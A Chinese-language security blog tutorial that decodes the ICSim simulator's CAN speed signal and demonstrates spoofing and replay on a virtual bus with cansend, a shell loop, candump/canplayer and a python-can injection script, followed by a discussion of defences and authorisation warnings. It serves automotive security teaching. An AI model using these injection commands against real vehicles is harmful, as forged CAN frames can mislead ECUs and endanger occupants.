上一篇我们停在哪
上一篇(《CAN 总线消息逆向实战:ICSim + cansniffer + SavvyCAN 三步找出车速与门锁信号》)我们完成了第一步:看懂 CAN 报文——用 cansniffer 按 ID 分组、看哪个字节在变、用 SavvyCAN 画曲线,最终锁定了车速信号所在的总线 ID(0x244)和门锁信号(0x19B)。
但是很多新手卡在同一个地方:我明明看到 0x244 的报文了,data 里那一串 00 00 00 38 94 00 00 00 到底是什么意思?38 94 凭什么代表 89.5 mph?我想让仪表盘显示 200 mph,该发什么数据?
这就是本文要解决的核心问题——信号解码(还原)与信号注入(伪造)。我会用 ICSim 虚拟仿真环境,一步步带你从”看到十六进制”到”亲手把车速表打到 220 mph”。全程不碰真车、不花一分钱。
一、问题分类:三种人卡在三个地方
在做 CAN 信号分析时,我总结了新手最常见的三种卡点,你先对号入座:
| 类型 | 典型困惑 | 本质原因 |
|---|---|---|
| 看懂了 ID,看不懂数据 | “data 里一堆十六进制,不知道哪个字节是车速” | 缺乏”信号字段”概念——一条报文的 8 字节里,每个信号占据特定的位区间 |
| 找到了字节,算不出数值 | “第 4、5 字节是 38 94,为什么仪表盘显示 89.5 mph?” | 不知道原始值要经过”缩放因子 + 偏移量”的线性换算才能变成物理量 |
| 算出了数值,发不回去 | “我知道 200 mph 该发什么数,但一发仪表盘就乱跳” | 缺少编码思维(物理量 → 原始值 → 字节)和持续注入手段(单帧 vs 周期帧) |
如果你属于任何一种,这篇就是为你写的。我们按现象 → 原因 → 解决方案的顺序逐个击破。
二、现象:一串十六进制,凭什么代表车速?
在 ICSim 里按住方向盘”上箭头”加速,用 cansniffer 观察 0x244 这条报文,你会看到类似这样的数据:
0x244 00 00 00 38 94 00 00 00 ← 时速约 89.5 mph
0x244 00 00 00 3B BA 00 00 00 ← 时速约 95 mph如果你有 SavvyCAN,把第 4、5 字节画成曲线,会发现它和仪表盘指针高度同步。但你仍然答不出一个关键问题:38 94 是怎么变成 89.5 的?
原因:CAN 信号 = 位区间 + 缩放因子 + 偏移量
CAN 报文的 8 字节(64 位)数据区,是 ECU 之间共享的一张”电话账单”:每个信号(车速、转速、水温、门锁状态……)在账单上占据固定的”位区间”,由发送方按约定写入,由接收方按同一约定读出。这个”约定”就是 信号定义,通常包含三要素:
| 要素 | 含义 | 类比 |
|---|---|---|
| 起始位 + 长度 | 信号从第几位开始、占几位(如 byte3 起 16 位) | 账单上的”第几行第几列” |
| 缩放因子(factor) | 原始值乘多少变成物理量(如 1/100 = 0.01) | 单位换算汇率 |
| 偏移量(offset) | 物理量再加多少(通常为 0) | 零点校准 |
通用的解码公式(也是所有 CAN 工具如 SavvyCAN、cantools、Vector CANalyzer 的底层逻辑):
物理值 = 原始值 × factor + offset所以”38 94 → 89.5 mph”并不是魔法,而是:0x3894 = 14484(原始值),14484 × 0.01 = 144.84 km/h,再换算英里 = 89.5 mph。你看,一旦拿到 factor,一切都通了。
三、解决方案:三条还原路径,从”抄答案”到”自己解”
拿到一份 CAN 报文,怎么还原出车速?有三条路,难度递增、通用性也递增:
| 路径 | 方法 | 适用场景 | 难度 |
|---|---|---|---|
| ① 读源码/找 DBC | 直接看模拟器源码或现成 DBC 文件里的信号定义 | 开源模拟器、公开数据库 | ★☆☆ |
| ② 黑盒对照 | 一边操作、一边抓包、一边看仪表盘,反推字节含义 | 真车、没有现成资料 | ★★☆ |
| ③ 差分分析 | 固定变量、逐个字节扫描,用数据变化定位信号 | 复杂信号、多字节交织 | ★★★ |
路径①:读源码/找 DBC —— 最快但最依赖资料
ICSim 是开源项目(github.com/zombieCraig/ICSim),源码直接告诉我们车速信号的定义。在 icsim.c 里搜 update_speed_status,你会看到:
#define DEFAULT_SPEED_ID 580 // 0x244
#define DEFAULT_SPEED_BYTE 3 // bytes 3,4
int speed = cf->data[speed_pos] << 8; // 第4字节左移8位
speed += cf->data[speed_pos + 1]; // 加上第5字节
speed = speed / 100; // 单位 km/h
current_speed = speed * 0.6213751; // 换算 mph翻译成人话:
- 车速在 data[3] 和 data[4](第 4、5 字节),按大端序拼成一个 16 位整数:
raw = (data[3] << 8) | data[4]。
- 车速在 data[3] 和 data[4](第 4、5 字节),按大端序拼成一个 16 位整数:
- 除以 100 得到 km/h(这就是 factor = 0.01)。
- 再乘 0.6213751 得到 mph(ICSim 仪表盘默认用英里)。
至此,我们有了”答案卷”。验证一下:0x3894 → raw=14484 → 144.84 km/h → 89.5 mph ✅ 和仪表盘完全一致!
路径②:黑盒对照 —— 真车逆向的核心流程
如果面对的是真车,没有源码、没有 DBC,怎么办?用”黑盒对照法”:边操作、边抓包、边观察,用仪表盘的读数当”参考答案”,反推字节含义。
完整流程(也是业内标准做法):
- 抓包基线:车辆静止(0 mph)时,candump 记录所有报文,找到 0x244 并记录 data =
00 00 00 00 00 ...。
- 抓包基线:车辆静止(0 mph)时,candump 记录所有报文,找到 0x244 并记录 data =
- 变化观察:缓慢加速到 20 mph,再抓包。对比 0x244 的 data,你会发现只有第 4、5 字节在变。
- 多采样点:分别记录 0 / 20 / 40 / 60 mph 的原始值,列出对照表。
- 拟合公式:观察原始值变化是否线性。如果每 1 mph 原始值变化 100(raw = mph × 160.9 × 100 / 100…),就能推出 factor 和 offset。
- 验证:用推导出的公式解码新抓的报文,与仪表盘读数比对。
给你一个 mini 对照表(按 ICSim 真实解码):
| 仪表盘显示 | data[3:5](原始值) | 推导过程 |
|---|---|---|
| 0 mph | 00 00 | 0 × 0.01 = 0 km/h → 0 mph |
| ~31 mph | 13 88 | 0x1388 = 5000 → 50 km/h → 31.1 mph |
| ~62 mph | 27 10 | 0x2710 = 10000 → 100 km/h → 62.1 mph |
| ~89.5 mph | 38 94 | 0x3894 = 14484 → 144.84 km/h → 89.5 mph |
看到规律了吗?原始值每 +100,车速 +1 km/h——factor 就是 0.01。这就是黑盒对照的威力:不需要任何资料,几组数据就能推出公式。
路径③:差分分析 —— 当信号藏在多个字节里
有些信号不止占两个字节,或者和别的信号共用一个字节(位域交织)。这时用”差分分析”:固定一个变量,其他全部保持不变,逐字节/逐位扫描看哪一位跟着变。上一篇文章里我们提过的 cansniffer 高亮功能,就是差分分析的自动化——谁在动就高亮谁。SavvyCAN 的 Range 视图可以直观圈出变化的位区间。
四、重放伪造:让仪表盘说 220 mph
还原信号只是”读懂”,汽车安全研究真正的核心是注入——伪造报文让 ECU 相信虚假状态。CAN 协议设计于 1980 年代,没有认证、没有加密、广播式传输,任何节点都能发送任何 ID 的报文,接收方只认 ID 不认人。这就是重放攻击和伪造攻击能成立的根基。
攻击一:单帧伪造(cansend)
先算一下:220 mph 是多少原始值?
220 mph = 354.05 km/h(÷0.6213751)
原始值 = 35405(×100)
0x8A4D = 35405 → data[3]=0x8A, data[4]=0x4D然后一条命令注入:
cansend vcan0 244#00008A4D00仪表盘指针会瞬间冲到最右端(ICSim 表底 280,指针直接爆表)。但注意:ICSim 会周期性覆盖车速,单帧只闪一下,需要持续注入。
攻击二:循环伪造(shell 脚本)
用 while 循环持续注入,模拟”车速慢慢爬升”的假象:
for i in {0..354}; do
hex=$(printf "%04X" $((i * 100)))
cansend vcan0 244#0000${hex}00
sleep 0.05
done你会看到仪表盘指针从 0 一路平滑升到 220 mph,仿佛车辆在全力加速——实际上车根本没动。这就是”伪速注入”最直观的演示。
攻击三:录包重放(candump + canplayer)
重放攻击更隐蔽:先录一段真实驾驶的报文,再原样放回去。
# 记录:模拟驾驶 10 秒,只记录车速报文
candump vcan0 -L -l -n 300
# 重放:把录到的报文原样发回总线
canplayer -I candump-*.log vcan0效果:仪表盘会”重演”你录下来的那 10 秒车速变化。在真实攻击场景里,攻击者会先录下”车辆正常行驶”的报文,之后在关键时刻(比如车辆静止时)重放”正常行驶”的报文,欺骗依赖车速的 ECU 或监控系统。
攻击四:Python 自动化注入(python-can)
如果要做更精细的控制(比如注入特定车速值、按时间曲线变化),用 python-can 库:
import can, time
bus = can.Bus(interface='socketcan', channel='vcan0', bitrate=500000)
def send_speed(kmh):
raw = int(kmh * 100) # factor = 0.01
data = [0x00, 0x00, 0x00, (raw >> 8) & 0xFF, raw & 0xFF, 0x00, 0x00, 0x00]
msg = can.Message(arbitration_id=0x244, data=data, is_extended_id=False)
bus.send(msg)
# 持续 3 秒注入 120 km/h
for _ in range(60):
send_speed(120)
time.sleep(0.05)这段代码把”车速 = raw × 0.01″反过来用(编码),实现了任意车速值的精确注入。这正是后面开发自动化渗透平台时”报文注入模块”的原型。
五、为什么 CAN 这么”裸奔”?
你可能想问:车厂为什么不加密?为什么认证都没有?原因要从 CAN 的”出身”说起:
| 设计局限 | 后果 |
|---|---|
| 诞生于 1986 年,面向实时控制 | 设计目标是确定性、低延迟,没考虑对抗性威胁 |
| 广播式总线,所有节点共享 | 任何节点都能”听到”一切,也能”插话”一切 |
| 报文只有 ID + 数据,无源认证 | 接收方无法确认报文来自哪个 ECU |
| 无加密、无完整性校验 | 数据明文可见、可被篡改且不被发现 |
| 带宽仅 500 kbps,报文极小 | 加认证/加密会挤占实时带宽,工程上难落地 |
换句话说,CAN 总线从设计第一天起就假设”总线上都是自己人”。一旦攻击者通过 OBD-II 口、车载娱乐系统漏洞(还记得 Pwn2Own Automotive 上 76 个零日漏洞吗)或无线攻击面进入总线,就相当于拿到了”自己人”的通行证。
六、现实中的防御:车厂在做什么?
好消息是,安全研究人员迫使行业开始补课。现代车辆的防御体系大致分四层:
| 防御层 | 技术 | 对抗的攻击 |
|---|---|---|
| 协议层 | CAN FD / 扩展报文空间、SecOC(安全车载通信)认证 | 伪造、重放、篡改 |
| 网关层 | 网关按域过滤(动力域/车身域/信息域隔离) | 跨域横向移动 |
| 检测层 | CAN IDS(入侵检测):频率异常、时序异常、ID 白名单 | 异常注入、扫描探测 |
| 加固层 | OBD 口写保护、ECU 固件签名、安全启动 | 物理接入、固件篡改 |
但对老车(CAN 时代早期车型)来说,这些大多缺席——这也是为什么”老车更容易被研究/被攻击”。
七、避坑清单(新手必看)
- 只练虚拟环境:vcan0 + ICSim 完全免费,够你练完本文全部操作。真车实验必须获得车主书面授权,且只做只读监听。
- 区分大小端:ICSim 车速是大端(byte3 是高字节),但很多真实信号是小端(低字节在前)。解码前先确认字节序,否则数值天差地别。
- 别漏周期帧:车速是周期帧(约 100ms 一次),单帧注入会被覆盖。伪造必须持续注入,频率要贴近真实周期。
- factor 不一定是 0.01:不同车型车速 factor 可能是 1、0.25、1/64…… 拿到 DBC 前别乱猜,用多采样点拟合最稳。
- 真车别爆表:往真实总线注入极端值(如 220 mph)可能触发安全逻辑或损坏执行器,模拟器里随便玩,真车上这是红线。
八、总结:从”看十六进制”到”写十六进制”
本文完成了汽车安全研究里最重要的一次跃迁:
- 解码:CAN 信号 = 位区间 + factor + offset,物理值 = raw × factor + offset。
- 还原:三条路径——读源码/找 DBC、黑盒对照、差分分析;真车逆向以黑盒对照为主。
- 注入:cansend 单帧、shell 循环、candump+canplayer 重放、python-can 自动化,四种手段全部在 ICSim 验证。
- 防御:CAN 裸奔是设计使然,现代车辆用 SecOC / 网关过滤 / IDS 补课,老车仍暴露。
下一篇预告:攻击面升级——从模拟器到真实车载网络,我们会讲硬件接入(树莓派 + MCP2515 / USB2CAN / PCAN)、真实车辆的合法研究流程,以及”虚拟测试 → 台架测试 → 授权实车”的完整安全研究路线。星宇安全实验室的自动化渗透平台,也会把今天这套”抓包→解码→注入”沉淀成可复用的模块。
老规矩:所有实验仅限 ICSim 虚拟环境,真车研究务必获得授权。看懂十六进制不难,难的是守住边界——这才是真正的”安全”。
FAQ 快速问答
| 问题 | 回答 |
|---|---|
| 为什么 0x244 的车速是 89.5 mph 而不是 144.84? | ICSim 仪表盘默认英里制,km/h 值 × 0.6213751 转换而来;总线上的原始值始终是 km/h 编码。 |
| 真车上没有 DBC 文件怎么办? | 用黑盒对照法:多采集几组”仪表盘读数 + 原始字节”,拟合出 factor 和 offset。 |
| 重放攻击和伪造攻击有什么区别? | 重放是”原样播放录好的报文”;伪造是”自己构造报文内容”。重放更简单,伪造更灵活。 |
| 为什么单帧注入仪表盘只闪一下? | 车速是周期帧,ECU/模拟器会周期性发送真实车速,把伪帧覆盖掉。必须持续注入。 |
| 这些操作在 Kali NetHunter 手机上能做吗? | 能。手机插 USB-CAN 适配器(如 CANable),用 can-utils 同样命令即可,NetHunter 内置终端 + Root 环境非常适合。 |
- 1、本网站名称: 星宇安全实验室
- 2、本站永久网址:https://bk.zhaozhiqiang.pw/
- 3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
- 4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
- 5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
- 6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
- 7、文章版权归作者所有,未经允许请勿转载。









暂无评论内容